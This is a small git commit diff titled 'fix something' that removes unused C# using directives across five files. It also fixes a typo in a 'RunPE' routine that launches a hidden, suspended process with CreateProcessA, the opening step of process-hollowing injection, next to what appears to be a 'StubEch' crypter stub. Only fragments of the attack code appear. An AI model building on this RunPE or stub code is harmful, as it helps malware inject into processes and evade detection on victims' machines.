fix something

This commit is contained in:
qwqdanchun 2020-05-24 16:14:39 +08:00
parent 94dc2d8e4d
commit b5173fc380
5 changed files with 1 additions and 23 deletions

View File

@ -1,13 +1,4 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.Data;
using System.Drawing;
using System.Diagnostics;
using System.Windows.Forms;
using System.Linq;
using System.Xml.Linq;
using System.Threading.Tasks;
using System.IO;
using System.IO.Compression;

View File

@ -1,8 +1,4 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Reflection;
namespace WindowsFormsApp

View File

@ -84,7 +84,7 @@ namespace RunPE
int readWrite = 0x0;
StartupInformation si = new StartupInformation();
ProcessInformation pi = new ProcessInformation();
si.Size = Convert.Toint32(Marshal.SizeOf(typeof(StartupInformation)));
si.Size = Convert.ToInt32(Marshal.SizeOf(typeof(StartupInformation)));
try
{
if (!CreateProcessA(path, string.Empty, IntPtr.Zero, IntPtr.Zero, false, 0x00000004 | 0x08000000, IntPtr.Zero, null, ref si, ref pi)) throw new Exception();

View File

@ -1,6 +1,4 @@
using System;
using System.Collections.Generic;
using System.Windows.Forms;
namespace csharp_test
{

View File

@ -4,7 +4,6 @@ using System.IO;
using System.Text;
using System.Threading;
using System.IO.Compression;
using System.Reflection;
namespace StubEch
{
@ -117,10 +116,4 @@ namespace StubEch
return cipher;
}
}
}